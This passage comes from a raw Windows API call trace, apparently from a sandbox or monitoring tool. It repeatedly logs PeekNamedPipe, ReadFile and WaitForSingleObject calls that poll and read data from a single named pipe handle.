lpTotalBytesAvail=0x18f110*=0x3e, lpBytesLeftThisMessage=0x0) returned 1 [0068.092] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x3e, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x3e, lpOverlapped=0x0) returned 1 [0068.092] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.129] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0068.130] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.155] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0068.155] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x62, lpOverlapped=0x0) returned 1 [0068.155] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.209] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x38, lpBytesLeftThisMessage=0x0) returned 1 [0068.209] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x38, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x38, lpOverlapped=0x0) returned 1 [0068.209] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.251] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x9d, lpBytesLeftThisMessage=0x0) returned 1 [0068.252] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x9d, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x9d, lpOverlapped=0x0) returned 1 [0068.252] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.306] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0068.306] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.352] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xa2, lpBytesLeftThisMessage=0x0) returned 1 [0068.352] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xa2, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xa2, lpOverlapped=0x0) returned 1 [0068.352] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.389] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0068.390] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.419] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x9a, lpBytesLeftThisMessage=0x0) returned 1 [0068.420] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x9a, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x9a, lpOverlapped=0x0) returned 1 [0068.420] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.458] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0068.458] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.489] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xa0, lpBytesLeftThisMessage=0x0) returned 1 [0068.489] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xa0, lpOverlapped=0x0) returned 1 [0068.489] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.524] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0068.524] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.557] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xa8, lpBytesLeftThisMessage=0x0) returned 1 [0068.557] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xa8, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xa8, lpOverlapped=0x0) returned 1 [0068.557] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.593] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0068.593] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x62, lpOverlapped=0x0) returned 1 [0068.593] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.619] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x44, lpBytesLeftThisMessage=0x0) returned 1 [0068.619] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x44, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x44, lpOverlapped=0x0) returned 1 [0068.619] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.653] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0068.653] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.711] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x9c, lpBytesLeftThisMessage=0x0) returned 1 [0068.711] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x9c, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x9c, lpOverlapped=0x0) returned 1 [0068.711] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.780] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x9b, lpBytesLeftThisMessage=0x0) returned 1 [0068.780] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x9b, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x9b, lpOverlapped=0x0) returned 1 [0068.780] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.811] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x9d, lpBytesLeftThisMessage=0x0) returned 1 [0068.811] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x9d, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x9d, lpOverlapped=0x0) returned 1 [0068.811] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.844] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0068.844] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.873] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0068.873] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x62, lpOverlapped=0x0) returned 1 [0068.873] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.922] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x3a, lpBytesLeftThisMessage=0x0) returned 1 [0068.923] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x3a, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x3a, lpOverlapped=0x0) returned 1 [0068.923] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.955] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x9d, lpBytesLeftThisMessage=0x0) returned 1 [0068.955] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x9d, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x9d, lpOverlapped=0x0) returned 1 [0068.955] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.991] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0068.991] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.023] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x9f, lpBytesLeftThisMessage=0x0) returned 1 [0069.023] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x9f, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x9f, lpOverlapped=0x0) returned 1 [0069.023] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.060] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0069.060] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.093] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xb2, lpBytesLeftThisMessage=0x0) returned 1 [0069.095] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xb2, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xb2, lpOverlapped=0x0) returned 1 [0069.095] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.363] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0069.363] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.384] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0069.384] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.297] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.297] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.324] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.324] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.380] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x77, lpBytesLeftThisMessage=0x0) returned 1 [0070.380] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x77, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x77, lpOverlapped=0x0) returned 1 [0070.380] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.414] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.415] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.452] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.452] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.505] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.505] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.553] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.553] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.607] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.607] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.631] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.631] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.231] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0071.231] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.010] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.010] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.114] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.114] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.185] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.185] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.220] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.220] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.277] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.277] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.326] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.326] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.377] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.377] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.432] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.434] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.464] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.464] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.495] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.495] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.533] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.536] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.561] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.561] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.590] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.590] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.887] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.013] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.054] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.054] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.092] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.093] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.120] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.121] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0077.153] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, 